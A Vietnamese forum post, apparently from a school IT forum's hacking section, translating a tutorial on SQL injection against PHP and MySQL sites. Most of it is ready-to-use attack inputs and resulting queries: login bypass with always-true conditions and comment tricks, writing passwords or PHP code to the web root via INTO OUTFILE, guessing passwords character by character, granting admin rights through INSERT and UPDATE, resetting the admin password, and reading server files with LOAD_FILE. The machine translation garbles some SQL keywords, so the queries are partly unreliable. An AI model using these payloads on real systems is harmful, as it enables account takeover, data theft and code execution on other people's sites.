»-(¯`v´¯)-»Diễn Đàn Trường Công Nghệ Thông Tin Thái Nguyên»-(¯`v´¯)-»

.:hix lâu không làm web.nên giờ lười làm quá.dùng tạm cái Forum việt vậy.chủ yếu là chất lượng Những bài viết thôi đúng không.thật THà là nói hết không giấu diếm nhưng học xong cấm nghịch bậy..http://guichonguoiay.net.tf web mình đó RỖI VÀO CHơi Ha.hjhj:.
 
Trang ChínhPortalCalendarGalleryTrợ giúpTìm kiếmThành viênNhómĐăng kýĐăng Nhập
Thông Tin Cực Sock Cho Những Ai Nghiện Game Audition Của Thái Nguyên.Sau Một Thời Gian Tìm Hiểu Mà Nhờ Mấy Anh Ở forum ClbGame Mình Đã Cài THành Công Bản Audition Offline THái Nguyên.Sắp Tới Mình Sẽ Đưa Lên Online.Các Bạn Muốn Chơi Game Và Muốn Sở Hữu Những Bộ Đồ Đẹp Nhất Không Còn Chần Chừ Gì Nữa Mà Không Click Chuột Để Truy Cập Trang Web wWw.AuTn.tk Để Download Và Thưởng thức

Share | 
 

 Mysql & PHP SQL Injection

Go down 
Tác giảThông điệp
Admin
Admin


Tổng số bài gửi : 136
Join date : 13/03/2010

Bài gửiTiêu đề: Mysql & PHP SQL Injection   Tue Mar 16, 2010 9:22 pm

Mysql & PHP SQL Injection


--------------------------------------------------------------------------------

hê hê, thức trọn đêm đọc hiểu , và dịch tiếng Lào và viết lại bài này, sau đây là kết quả Edited , chúc anh em vui vẻ !!!! Enjoyyyy !!!!!!!!!!!!!!
sry ko bỏ [code] đc , khi nào rảnh bỏ , giờ vô làm vài trận CS với mụ HY cái



Bài Dịch Của Unixzdo (Mod dịch thuật của HCE cũ) - Edited by Micimacko[HcE]
====================
SQL Injection MySQL via PHP

Code:

====================

Contents



1 Introduction

2 SELECT

3 INSERT

4 UPDATE

5 Conclusion/Credit



Lời giới thiệu:



Bài viết sẽ giúp bạn biết những điều tôi biết về injection sql trong php, với cơ sở dữ liệu MySql. ##Mã mysql/php được đặt màu xanh và các giá trị gán cho biến với mục đích inject đặt màu đỏ.



Mọi bài thực hành được viết ở đây được chính tôi thực hiện.



Bạn sẽ thấy có một trường hợp nhỏ của sự tương thích sql injection với ngôn ngữ php, trái với ASP hoặc JSP, bởi vì nhược điểm cấu hình của nó (sẽ được nói đến sau).



Với sự cập nhật liên tục về MySql, một điều hiển nhiên rằng sẽ không bao giờ có một hướng dẫn hoàn thiện, đầy đủ về chủ đề này Very Happy (hoặc ít nhất cũng không thể đầy đủ trong một thời gian dài).



Chúng ta hãy nhớ điều này: cốt yếu của injection sql là nó thay đổi cái mục tiêu ban đầu của một yêu cầu sql (ko theo ý muốn của coder) , nhờ vào việc thay đổi các biến (có thể thay đổi đc) bởi người dùng.



Hãy tưởng tượng một trang php cho phép tìm kiếm một người dùng đã được ghi nhớ trên site đó.



Yêu cầu có thể theo kiểu sau:



$req ="SELECT * FROM members WHERE name LIKE ' %$search%' ORDER BY name";



vị trí $search là một biến có thể thay đổi bởi người dùng, đến từ một form post (hoặc một thứ khác giống như thế) từ kiểu sau:



< form method="POST" action="<? echo #; ? > ">

< input type="text" name="search"><br >

< input type="submit" value="Search" >

</form >



Ví dụ Search form ở trên làm việc với các thênh viên theo thứ tự abc ('theo tên') , và cũng làm việc tốt với uid, khi đó ta có thể cho $search giá trị: %' ORDER BY uid #. Với thứ tự làm việc của các mã thì yêu cầu thi hành lúc đó sẽ được chuyển thành:



SELECT * FROM members WHERE name LIKE ' % % ' ORDER BY uid#% ' ORDER BY name



Cái gì thì không phải là kịch bản chính Smile .



Tôi sẽ không đi vào chi tiết ví dụ này, chúng ta không phải vội vã đê hiểu hết tất cả, mọi điều đều có thứ tự của nó Very Happy , nếu mọi thứ đc trình bày cùng 1 lúc thì bạn sẽ chẳng biết đc nên quan tâm đến điều gì, và nguyên lý cốt yếu của nó là gì?



Trở lại vấn đề cấu hình php. Có một dòng trong file "php.ini" để xác định "magic_quotes_gpc". Nếu tuỳ chọn này ở ON , là trường hợp kém an toàn (97% các site php thường như vậy), các dấu " và ' sẽ thành dấu gạch chéo( \ ), IE sẽ chuyển nó thành dạng \" và \'



Như vậy với ví dụ đầu của chúng ta, yêu cầu thi hành sẽ là:



SELECT * FROM members WHERE name LIKE '%%\' ORDER BY uid#%' ORDER BY name



Những giá trị thực nào tìm kiếm một cái tên mà chứa câu: % ' ORDER BY uid # trong bảng 'members' ,điều mà tất nhiên là sẽ không cho một kết quả nào.



Dưới đây sẽ trình bày tại sao trong phần này chúng ta làm việc trên một site với magic_quotes_gpc ở tùy chọn off.



3 kiểu yêu cầu thi hành chính (3 kiểu Query chính) trong các mã php là SELECT, INSERT và UPDATE.



SELECT rút thông tin của một hay nhiều bảng, INSERT thêm một bản ghi, và UPDATE thay đổi một bản ghi đã được tạo ra rồi.



**SELECT:



Bắt đầu từ truyền thống, yêu cầu SELECT được sử dụng nhiều nhất trong các website , và hiểu biết về injection SQL với SELECT đc biết đến sớm nhất, nên nó được nói đến nhiều nhất . SELECT thường được sử dụng trong sự xác nhận admin hoặc member.



Như vậy hãy tưởng tượng một form hỏi mật khẩu và cho login. Các giá trị nhập vào sau đã được trả lại hướng tới một yêu cầu mysql:



$req= "SELECT uid FROM admins WHERE login='$login' AND password='$pass'";



Yêu cầu này được thực hiện, nếu có một kết quả,tức là các giá trị nhập vào cho biến login và password trên là tồn tại và thích hợp,và như vậy ta sẽ login vào với một administrator.



Cái nhìn đầu tiên, để hợp lệ hóa yêu cầu này, cần một giá trị login và password hợp lệ.



Do vậy biểu thức login='$login' hoặc password='pass' trả lại giá trị đúng, có thể cần giá trị login và password nhập vào $login/$pass là tồn tại.



Đó là một chút nói về điều kiện luôn có giá trị trả về là đúng. Phải gọi chúng nhiều lần để khẳng định rằng các điều kiện trong các trường hợp này ở đó.



Tôi đã bỏ công soạn thảo cho các bạn một danh sách nhỏ các yêu cầu mà luôn luôn trả lại kết quả là OK Very Happy



SELECT * FROM counts WHERE 1=1

SELECT * FROM counts WHERE ' uuu' = 'uuu'

SELECT * FROM counts WHERE 12

SELECT * FROM counts WHERE 3>2

SELECT * FROM counts WHERE 2<3

SELECT * FROM counts WHERE 1

SELECT * FROM counts WHERE 1+1

SELECT * FROM counts WHERE 1--1

SELECT * FROM counts WHERE ISNULL(NULL)

SELECT * FROM counts WHERE ISNULL(COT(0))

SELECT * FROM counts WHERE 1 IS NOT NULL

SELECT * FROM counts WHERE NULL IS NULL

SELECT * FROM counts WHERE 2 BETWEEN 1 AND 3

SELECT * FROM counts WHERE 'b' BETWEEN 'a' AND 'c'

SELECT * FROM counts WHERE 2 IN (0,1,2)

SELECT * FROM counts WHERE CASA WHEN 1>0 THEN 1 END



Bạn giữ và hiểu nó, tôi khẳng định rằng mỗi cái đó là một thực tế chắc chắn và hiển nhiên : 1=1 (biểu thức 1=1 hé,vâng), 3 lớn hơn 2 (liệu có gì đúng hơn ko nhỉ Very Happy) ,...Tất nhiên rằng ngoài những cái trên ra còn có những cái khác cũng tốt, nhưng ta tạm nêu ra thế thôi.



Ý tưởng mà biểu thức luôn trả lại giá trị 'ok' trong yêu cầu, là một trong những nguyên lý lớn của injection sql.



Thực vậy, nếu một người chèn một giá trị luôn đúng vào yêu cầu, thật vô ích khi có một form login và một đòi hỏi nhập password.



Ví dụ khi cho biến login và biến pass giá trị : 'GOLD 'a' = 'a , yêu cầu sql sau sẽ được thực hiện:



SELECT uid FROM admins WHERE login = ' 'GOLD 'a' = 'a' AND password = ' ' GOLD 'a' = 'a'



Điều gì sẽ trả lại 'ok' ? Chính từ 'a' = 'a' là luôn đúng.



Ở đây bản ghi đầu tiên của bảng sẽ được chọn, biến uid được rút ra như vậy sẽ là '1' . Và trong hầu hết các trường hợp, member/admin đầu tiên được ghi vào database là chủ của site, do vậy nghiễm nhiên ta trở thành admin với hầu hết quyền trên site Very Happy .



Nếu một kẻ muốn có thể chọn tại khoản để truy cập (ví dụ như một kẻ mạo danh), điều cần thiết là phải có thông tin.



Nếu một kẻ muốn có tài khoản của john, chỉ cần trả lại cho $login "john" và $pass là một biểu thức luôn đúng, ví dụ: 'GOLD 'b' BETWEEN 'a' AND 'c ,điều mà sẽ được thực hiện bởi yêu cầu sau:



SELECT uid FROM admins WHERE login= 'John' AND password = ' 'GOLD 'b' BETWEEN 'a' AND 'c'



Bây giờ hãy xem một nguyên lý lớn khác của sql injection,điều mà có thể có ích trong ví dụ mà chúng ta có ở đây, và trong những ví dụ khác : sự sử dụng kí tự comments ( # ) .



Thoạt tiên kí tự # , kí tự chú giải tất cả những cái đi theo sau nó (do đó những cái đó sẽ không đc thực hiện trên cơ sở dữ liệu nữa). Ví dụ:



SELECT * FROM counts WHERE nom=' Jack' # comment



yêu cầu này sẽ được thực hiện:



SELECT * FROM counts WHERE nom=' Jack'



/* và */ cũng có thể được sử dụng để chuyển vào trong chú giải tất cả những gì ở giữa chúng). Ví dụ:



SELECT * FROM counts WHERE /* comments */ addresse=' 25 street of the roubys'



yêu cầu sau sẽ được thực hiện:



SELECT * FROM counts WHERE addresse=' 25 street of the roubys'



Sự sử dụng các kí tự này trong injection sql ở đây, chủ yếu là để chúng ta tạo ra một phần không có ý thức của yêu cầu thực thi, để nhảy qua các điều kiện, nó hơi giống với phương pháp 'jump' trong cracking.

(những điều nói đến ở đây có vẻ như ko thực tế lắm nhưng nó sẽ giúp bạn hiểu đc cái nguyên lý cốt lõi của vấn đề, đừng coi thường nó, đừng nóng vội)



Trở lại ví dụ của chúng ta với sự sử dụng kiến thức mới trong đó:



Để tới tài khoản của John, chỉ cần gõ giống như $login: John' #

=> thực hiện yêu cầu sau:



SELECT uid FROM admins WHERE login=' John' # ' AND password = ' '



và như thế phần ' AND password ='' sẽ được bỏ qua.



Sự tiêm nhiễm này có thể được sử dụng cho nhiều mục đích khác nhau. Tưởng tượng một ví dụ rằng có vài level của administration ( hãy gọi các trường của bảng 'admin' là 'admin_level' )



Trong trường hợp này một sự tiêm nhiễm sẽ cho biến login giá trị 'GOLD admin_level=1 # thể hiện trong yêu cầu sau:



Select uid from admins where login=''GOLD admin_level=1# and password=''



Một cách khác sử dụng sql để ghi một user/admin trong sql đó là sẽ không trực tiếp kiểm tra login và password trong một yêu cầu sql , nhưng lúc đầu cố gắng rút ra một mật khẩu gắn với một đăng nhập , với một dòng như sau:



$req = "SELECT password FROM admins WHERE login='$login'";



Sau đó đoạn mã này sẽ kiểm tra nếu mật khẩu đã nhập vào là tốt sau đó sẽ rút ra bảng admins.



Một lần nữa hệ thống này là không đáng tin bởi chức năng INTO OUTFILE của sql (hay INTO DUMPFILE). Một ví dụ:



SELECT * FROM counts INTO OUTFILE '/complete/path/to/file.txt'



mọi nội dung của bảng 'table' trong file /complete/path/to/file.txt sẽ được ghi. Do đó nếu với ví dụ của chúng ta một kẻ vào giá trị biến login: John'INTO DUMPFILE'/path/to/site.txt



yêu cầu sau sẽ được thực hiện:



SELECT password FROM admins WHERE login=' John' INTO DUMPFILE '/path/to/site/file.txt'

vê mật khẩu của John sẽ được ghi vào file http://[địachỉ]/file.txt.



Để có tất cả mật khẩu , một biểu thức sẽ phải được sử dụng luôn trả lại giá trị 'ok', ví dụ khi cho biến login giá trị : 'GOLD 1=1 INTO OUTFILE'/path/to/site/file.txt



Tuy nhiên có vài điều kiện sử dụng INTO OUTFILE (hoặc INTO DUMPFILE) như sau:



-Cần hiển thị đầy đủ đường dẫn của file trong đó có chứa kết quả



-File đó phải chưa tồn tại (điều sẽ bị ngăn cản , ví dụ ngăn cản thay thế các file như /etc/passwd)



-Phải có đặc quyền quản lí file



Cũng có sự khác nhau giữa OUTFILE và DUMPFILE. Nếu một yêu cầu rút ra với cột nó sẽ rõ ràng bị chia thành với cột trong file với OUTFILE , với DUMPFILE thì sẽ chỉ có một cột duy nhất.



Chú ý rằng file đã tạo ra sẽ có thể thực thi bởi mọi người (nobody).



Tuỳ chọn INTO OUTFILE vẫn có thể đi xa hơn một chút nữa. Hãy tưởng tượng rằng chúng ta có một tài khoản tên là 'unix' trên site có kiểu yêu cầu này. Do đó chúng ta có thể thay đổi thậm chí cả password (??!!) . Nếu một người đặt một mã php ở đó,và anh ta gõ vào trong form này giống như $login: unix'INTO OUTFILE'/path/to/site/file.php



****



Sẽ có một chú ý nhắc nhở chúng ta về mã php trong file php sẽ có thể thực hiện sau đó.



Tôi chỉ ra những điều đó giống như các ví dụ khác của tôi, chúng chỉ là những ví dụ, do đó có những cái khác cũng có thể được sử dụng (ở đây có thể là mã trong một lời nhắn,trong các profile...).



Một kẻ cũng có thể sử dụng hàm này để làm ngập đĩa cứng, nhưng điều đó có thể sẽ chiếm nhiều thời gian.



Injection sql trong yêu cầu dạng SELECT cũng làm chúng ta có thể nghiên cứu một chút ít chuyên môn, trong các cái khác nhờ vào 'LIKE'.



Tôi sẽ bắt đầu lại, để giải thích điểm này, yêu cầu bắt đầu



$req = "SELECT uid FROM members WHERE login='$login' AND password='$pass'";



nhưng tôi nói lại một lần nữa là tôi có thể làm tất cả với các ví dụ khác, yêu cầu hiện trên sự giới thiệu (bạn phải hoàn toàn hiểu sâu phần này nó không phải là ví dụ trong trường hợp trước).



Một yêu cầu sql thuần tuý (không có injection):



SELECT * FROM counts WHERE msg LIKE '%hop'



tất cả các phần tử từ bảng 'table' sẽ được rút ra, nơi trường 'msg' kết thúc bởi 'hop'.



SELECT * FROM counts WHERE msg LIKE 'hop%'



mọi phần tử trong bảng 'table' sẽ được rút ra, nơi trường 'msg' bắt đầu bởi 'hop'.



SELECT * FROM counts WHERE msg LIKE '%hop%'



mọi phần tử trong bảng 'table' sẽ được rút ra, nơi mà trường 'msg' chứa 'hop'.



SELECT * FROM counts WHERE msg LIKE 'h%p'



mọi phần tử từ bảng 'table' sẽ được rút ra, nơi trường 'msg' bắt đầu với 'h' và kết thúc với share 'p'.



SELECT * FROM counts WHERE msg LIKE 'h_p'



mọi phần tử từ bảng 'table' sẽ được rút ra, nơi trường 'msg' bắt đầu với 'h' và kết thúc với share 'p', và chỉ chứa một kí tự tại điểm của dấu gạch _



Chúng ta hãy chuyển qua injection."LIKE" có thể cho phép chúng ta 'rough forcer' thông tin về cơ sở dữ liệu.



Ví dụ, nếu chúng ta muốn biết nếu từ đầu tiên của mật khẩu của user Bob, có thể cho giá trị tương tự cho biến login:Bob' AND password LIKE 'a%' # với yêu cầu sau:



SELECT uid FROM members WHERE login='Bob' AND password LIKE 'a%' # ' AND password = ' '



Nếu kết quả trả lại trong tài khoản của Bob ,điều đó có nghĩa là mật khẩu bắt đầu bằng chữ A, nếu không ít nhất ta cũng biết được rằng chữ bắt đầu không phải là A và thử lại với các chữ khác cho tới khi nó được tìm ra , sau đó bắt đầu với các từ thứ 2,thứ 3,...vv



Injection SQL đôi khi dễ dàng nếu nó được áp dụng 2 lần, dựa vào sự sử dụng SQL. Bởi vì cơ sở SQL injection bắt đầu với các hiểu biết về ngôn ngữ SQL.



Ví dụ, một khó khăn phát sinh nếu muốn thực hiện sự 'tấn công thô bạo này" (rough force) đó là khi không biết độ dài của mật khẩu. Do đó có thể là đã tới kết thúc của mật khẩu mà chương trình vẫn tiếp tục tìm kiếm nó.



Giải pháp đặt ra ở đây là kiểm tra trước với hêm LENGTH().



Nếu biến login giá trị tương tự $login:Bob' AND LENGTH(password)=6 #,sẽ thu được yêu cầu sau :



SELECT uid FROM members WHERE login='Bob' AND LENGTH(password)=6 # ' AND password = ' '



Nếu mật khẩu của Bob dài 6 kê tự nó sẽ được tìm thấy trong tài khoản của anh ta.



Làm lại yêu cầu trên :



$req = "SELECT email, website FROM members WHERE name LIKE ' %$search% ' ORDER BY name";



để nói một chút về ORDER BY. Tính hữu ích này không có gì đặc biệt nhưng rất cần nói về nó.



Yêu cầu trên có thể rút thông tin từ các user mà một cái giả của họ chứa đựng các giá trị của #.



Tôi thay đổi một chút yêu cầu của việc bắt đầu để không thể sử dụng INTO OUTFILE hiệu quả.



Hãy thử đặt một giá trị tương tự tại biến search $search: % ' ORDER BY uid # như yêu cầu:



SELECT * FROM members WHERE name LIKE ' % % ' ORDER BY uid #% ' ORDER BY name



và gửi chúng ta thông báo về tất cả các thành viên đã được sắp xếp thứ tự. Điều này có thể có ích để xác định người quản trị , người chắc chắn đã đăng kí đầu tiên.



Thỉnh thoảng cũng có thể sắp xếp họ bởi cấp bậc quản lý (nếu như có một trường user_level chuẩn), theo mật khẩu, bằng cách gán cho biến search giá trị : % ' ORDER BY password #,bằng độ dài của các khóa chính : % ' ORDER BY LENGTH(password) # , vv...



Thú vị hơn là làm các sự so sánh , i.e. trong trường hợp này, nếu được chúng ta thậm chí có thể đăng kí chính chúng ta như một thành viên, và biết mật khẩu của chúng ta, một thứ mà có thể so sánh nó dựa vào vị trí của nó với mật khẩu của những người khác.



Đơn giản hơn, yêu cầu sau thuộc loại như vầy:



$req = "SELECT email, website FROM members WHERE name LIKE ' %$search% ' ORDER BY # ";



(như trong PHP-Nuke) sau đó chỉ cần thay đổi # là đủ.



Chú ý: ORDER BY *** gửi thông báo về các kết quả đã được phân loại bởi trường *** theo thứ tự tăng dần (0->9,a->z...). Nếu đặt từ 'DESC' tại cuối kết quả: [...] ORDER BY field DESC,thì sẽ phân loại theo thứ tự giảm dần.



**INSERT:



Chúng ta hãy xem injection SQL liên quan với yêu cầu INSERT,nhờ vào đó mà có thể thêm một bản ghi vào một bảng. Tính hữu ích khi sử dụng INSERT là hiếm có hơn,nhưng tuy vậy không phải là không thể.



Nếu lấy một ví dụ được săn đuổi nhiều hơn,thoạt tiên có thể hình dung một bảng đã tạo ra trong cách này:



CREATE COUNTS members (

id int(10) NOT NULL auto_increment,

login varchar(25),

password varchar(25),

name varchar(30),

email varchar(30),

userlevel tinyint,

PRIMARY KEY (id)

)



Do đó trong bảng này có một id user,login,password,name,email và level của user (1=user,2=moderator,3=admin). Yêu cầu tạo ra một tài khoản trong một dịch vụ PHP sẽ như ví dụ sau:



$query1 = "INSERT INTO members (login, password, name, email, userlevel) BEEN WORTH ('#, '$pass', '$nom', '$email', '1')";



Ở đó có 4 biến,do đó 4 khả năng có thể tiêm nhiễm.



Hãy lấy một ví dụ đơn giản nhất, biến #. Nếu cho nó giá trị như:',' 3 ') #,yêu cầu trên sẽ trở thành:



INSERT INTO members (login, password, name, email, userlevel) BEEN WORTH (' ', ' ', ' ', ' ', '3')#', '1')



và member mới được tạo sẽ có quyền admin (phần sau # đã bỏ qua).Nếu muốn sử dụng biến khác có thể cần đặt ', ' ', '3') # thay cho $pass ', ' ',' ' ', '3') # vv...



Đây không phải lê cách duy nhất sỪ dụng INSERT ;có hai cách khác về chúng.Nhưng chúng ta hãy quan sát chúng kĩ hơn nếu bảng được tạo ra trong cách này:

CREATE COUNTS members (

id int(10) NOT NULL auto_increment,

login varchar(25),

password varchar(25),

name varchar(30),

email varchar(30),

userlevel tinyint default '1',

PRIMARY KEY (id)

)



Sự thay đổi ở đây là userlevel có một giá trị mặc định là 1(user), nó thực sự là hợp lệ, khi một người đăng kí, tự động sẽ là một user , quyền hạn được cấp bởi người quản trị.



Sau đó có với cơ may mở ra trên một yêu cầu insert giống như đã trình bày vừa rồi, nơi userlevel được chỉ ra.



Đây là một dạng của yêu cầu insert trong một yêu cầu có khả năng thất bại:



$query2 = "INSERT INTO members SET login='$login', password='$pass', nom='$nom', email='$email'";



Để thay đổi level của người dùng chỉ cần cho 1 trong 4 biến giá trị sau:



‘, userlevel=’ 3 ,yêu cầu ,vê dụ sẽ lê:



INSERT INTO members SET login=' ', password=' ', nom=' ', userlevel=' 3', email = ' '



Và một user mới sẽ được tạo ra với quyền administrator.



Giờ đây hãy tưởng tượng rằng id là một chuỗi kí tự tạo ra một cách ngẫu nhiên.Sự tạo table sẽ như sau:



CREATE COUNTS members (

id varchar(15) NOT NULL default '',

login varchar(25),

password varchar(25),

name varchar(30),

email varchar(30),

userlevel tinyint,

PRIMARY KEY (id)

)



Sau đó yêu cầu sql có thể có dạng :



$query3 = "INSERT INTO members BEEN WORTH (' #, '$login', '$pass', '$nom', '$email', '1')";



và injection sql sẽ như yêu cầu đầu tiên.Ví dụ ,một người có thể cho biến $email giá trị: a@a.a’, ‘ 3 ‘) #,và nó sẽ đặt quyền admin cho người dùng đã tạo ra,với yêu cầu:



INSERT INTO members BEEN WORTH (' [ ID]', ' [LOGIN]', ' [PASS]', ' [NOM]', ' a@a.a', ' 3')#', ' 1 ')



Update:



Bây giờ chúng ta hãy xem các yêu cầu update,không phổ biến bằng select ,và phổ biến hơn insert, cái nào làm cho nó có thể cập nhật các trường của một bản ghi trong bảng của một cơ sở dữ liệu.



Lấy lại bảng cũ cho ví dụ đầu tiên:



CREATE COUNTS members (

id int(10) NOT NULL auto_increment,

login varchar(25),

password varchar(25),

name varchar(30),

email varchar(30),

userlevel tinyint,

PRIMARY KEY (id)

)



cái nào là bảng được tạo ra cho khu vực người dùng.



Nơi mà một người có thể tìm thấy yêu cầu update trong khu vực thành viên là sự thay đổi thông tin của một thành viên,sự thay đổi tình trạng người dùng của anh ta. Ở đây một người có thể thay đổi mật khẩu , email của anh ta.



Sau đó yêu cầu sql có thể có dạng :



$sql = "UPDATE members SET password=' $pass', nom=' $nom', email=' $email' WHERE id=' $id'";



Hãy tưởng tượng rằng ban đầu biến id không có thể thay đổi bởi người dùng-điều sẽ là một vấn đề về an toàn cái mà không quan hệ với injection sql nữa.



Điều có thể đầu tiên ở đây là thay đổi một trường khác các trường password, name và email ,ví dụ truờng userlevel,trường mà tôi chỉ ra nó chứa các cấp bậc điều khiển của người dùng (level of moderation of user).



Ví dụ có thể cho biến $nom giá trị : ‘,userlevel=’ 3 ,như ví dụ sau:



UPDATE members SET password=' [PASS]', nom=' ', userlevel=' 3', email=' [EMAIL ] ' WHERE id=' [ID ] '



Trong cách này do đó có thể thay đổi ko thoải mái trường của bản ghi của bạn trong bảng.



Nhưng còn có thể tốt hơn. Một kẻ có thể,(nếu injection là có thể, ) điều khiển một injection khác vào các cái khác mà có thể, để thay đổi vài trường trong bản ghi,có thể thay đổi các trường của vài bản ghi.



Thực vậy, ta hãy tưởng tượng rằng một kẻ cho biến pass giá trị: [pass_mới] ‘where nom=’Admin’ #.Yêu cầu có thể trở thành:



UPDATE members SET password=' [nouveaupass ] ' WHERE nom=' Admin' #', nom=' [NOM]', email=' [EMAIL ] ' WHERE id=' [ID ] '



Câu lệnh sql thực hiện (do đó không hề có bình luận nào ) có thể là :



UPDATE members SET password=' [nouveaupass ] ' WHERE nom=' Admin'



Và mật khẩu của tài khoản tên là “Admin” sẽ là [pass_mới].



Sau cùng ,có thể có cùng kết quả khi biến id có thể thay là một user, một kẻ có thể đặt cho anh ta giá trị: ‘ GOLD name=’ Admin , điều thể hiện trong yêu cầu sau:



UPDATE members SET password=' [PASS]', nom=' [NOM]', email=' [EMAIL ] ' WHERE id = ' ' GOLD name=' Admin'



một lần nữa có thể thay đổi thông tin của tài khoản admin và tên không phải của tài khoản của chúng ta.



Đây là một sự phân cấp rõ ràng. Để xem xét kĩ hơn một chút ,tôi sẽ thay đổi ví dụ và sẽ lấy bảng được tạo ra theo cách sau:



CREATE COUNTS news (

idnews int(10) NOT NULL auto_increment,

title varchar(50),

author varchar(20),

news text,

Votes int(5),

score int(15),

PRIMARY KEY (idnews)

)



do đó cái nào là một bảng đích chứa đựng tin tức ,với một tựa đề,một tác giả ,tất nhiên với nội dung của nó,nhưng cái mà cũng sẽ có thể làm cho nó có thể được bầu cử (Vote) cho mỗi tin tức,với một số các người bầu cử về điểm. Để bầu cử,yêu cầu sẽ là dạng sau:



$sql = "UPDATE news SET Votes=Votes+1, score=score+$note WHERE idnews='$id'";



Tôi lấy ví dụ này bởi vì nó thông qua một yêu cầu của kiểu này mà tôi thấy sâu hơn trong kiến thức của tôi về injection sql trong các yêu cầu update ,





Chính xác trong php-nuke (cái nì là tiếng pháp dịch kô biết có chuẩn kô), và tôi tìm thấy lỗi trong các dịch vụ khác (directories of bonds…).



Điều ở đây không dính líu đến biến #,sự thay đổi của nó sẽ không hữu ích cho chúng ta , từ đó một kẻ có thể Vote cho mỗi tin tức.



Do đó có thể thấy rằng yêu cầu tăng “Votes”, là số các người bầu cử và thêm vào “score” score mới đã chọn.



Ban đầu đã thông báo là bằng việc bổ sung một yêu cầu chính xác,có thể thay đổi vài trường của tin tức đã chọn.



Ví dụ cho biến $id giá trị 12 và biến $note giá trị 3,title=’hop’ ,sẽ thu được truy vấn:



UPDATE news SET Votes=Votes+1, score=score+3, title='hop' WHERE idnews='12 '



từ đó một voter sẽ được thêm,và sẽ tăng 3 điểm và thay đổi tựa đề của tin tức số 12 vào trong ‘hop’.



Một điểm thú vị hơn một injection có thể mang lại ,hơn magic_quotes_gpc ở vị trí ON hoặc OFF trong truy vấn này ,cái là vấn đề chính trong injection sql với php.



Thực sự rằng biến có thể thay đổi $note không được bao quanh bởi các dấu ngoặc kép và các apastrophe. Dó dó có thể thay đổi đích của truy vấn và không sử dụng ‘ hoặc của “ ,và do đó không có vấn đề với cấu hình bộ lọc của php.



Ví dụ về injection không sử dụng ‘ (dấu nháy đơn) cũng như “ (dấu nháy kép) : cho biến $note giá trị 3, Votes=0

->truy vấn:



UPDATE news SET Votes=Votes+1, score=score+3, Votes=0 WHERE idnews='12'



Rõ ràng rằng không thể thay đổi chỉ các thiết đặt (tại lần trình bày đầu tiên), bởi vì để xác định tank,varchar,text,…cần thiết sử dụng ‘ hoặc “ (title=’hop’).



Ở đây hàm chuyển đổi các xâu kí tự xen vào giữa.Ví dụ,hàm Mysql char() trả lại giá trị thích hợp với các con số để ở dạng ascii. Do đó char(97,98,99) “abc will be worth “. Do đó có thể chèn text vì không bị khoá bởi magic_quotes_gpc.Ví dụ thay đổi tựa đề trong “hop”, sẽ có thể cho biến $note giá trị 3,title=char(104,111,112),như câu truy vấn sau:



UPDATE news SET Votes=Votes+1, score=score+3, title=char(104,111,112) WHERE idnews='12'



Có thể dễ dàng có giá trị hexa thông qua sql bằng cách sử dụng hàm ascii() hoặc ord() . ASCII(‘h’) và ORD(‘h’) trả lại 104.



Cũng có thể sử dụng với các kí tự mà không có ‘ hoặc “ dựa theo sự kiện rằng sql nhận ra kí tự hexa trực tiếp và chuyển đổi chúng.Ví dụ 0x616263 là giống với “ABC”. Do đó có thể gán cho biến $note giá trị 3, title=0x616263, tựa đề đã được thay đổi trong “ABC” bởi vì truy vấn mang lại là:



UPDATE news SET Votes=Votes+1, score=score+3, title=0x616263 WHERE idnews='12'



Cuối cùng khả năng thứ ba là sử dụng hàm conv(), hàm này chuyển từ giá trị cơ bản sang một giá trị khác (base minimum 2, maximum 36).



Ví dụ có thể cho biến $note giá trị 3, title=conv(10202210,3,16), 3, title=conv(5274,8,16),vv…để chuyển đổi title trong “ABC”. Áp dụng gì với hàm này ? Khi biết giá trị cho biến đầu tiên,quá đủ để convert in other direction, I.E. có thể mang lại select conv(“abc”,16,3), conv(“abc”,16,Cool.



Vài thông tin có thể rút ra dựa trên các hàm database() và user() hoặc system_user ; current_user() hoặc là session_user ,chúng trả lại tên của current base và của current user. Do đó ở đó sẽ là tên của cơ sở dữ liệu đã sử dụng trong tựa đề trong khi phân cho các biến giá trị : $note: 3, title=database(), như truy vấn sau:



UPDATE news SET Votes=Votes+1, score=score+3, title=DATABASE() WHERE idnews='12'



Cuối cùng chúng ta nói về một hàm rất thú vị, nhưng hiếm khi áp dụng, đó là hàm load_file().



Như tên của nó đã nói,nó đặt một file vào một biến.Chính xác hơn nó đọc và chuyển giao như một dây chuyền nội dung của file đã được đặt trong biến.



Có vài điều kiện sử dụng nó:



-file phải sẵn sàng phục vụ.



-đường dẫn đầy đủ phải được chỉ ra.



-phải có đặc quyền slips by



-phải có thể đọc được bởi tất cả mọi người (nobody).



-file phải nhỏ hơn max_allowed_packet



Khi mà tất cả các điều kiện trên được thỏa mãn thì có thể chuyển file trong cơ sở dữ liệu. Trường mà có thể chứa đựng hầu hết các kí tự là trường “news” (dạng file text), do đó đây là một cái có thể lợi dụng được.Ví dụ để copy file /tmp/picture (ví dụ của mysql bắt đầu không sử dụng như truyền thống /etc/passwd) trong trường news của news 12,có thể gán cho biến $note giá trị 3, news=load_file(‘/tmp/picture’) điều này thể hiện ở câu truy vấn sau:



UPDATE news SET Votes=Votes+1, score=score+3, news=LOAD_FILE('/tmp/picture') WHERE idnews='12'


....Còn gì nữa nhỉ , mấy lão ấy Edit mất roài ....
Về Đầu Trang Go down
Xem lý lịch thành viên http://itcu.forumvi.com
 
Mysql & PHP SQL Injection
Về Đầu Trang 
Trang 1 trong tổng số 1 trang

Permissions in this forum:Bạn không có quyền trả lời bài viết
»-(¯`v´¯)-»Diễn Đàn Trường Công Nghệ Thông Tin Thái Nguyên»-(¯`v´¯)-» :: Phận Làm Trai Gõ Phím Bình Thiên Hạ--Chí Anh Hùng Click Chuột Định Giang Sơn :: Những điều cơ bản để hack một trang web-
Chuyển đến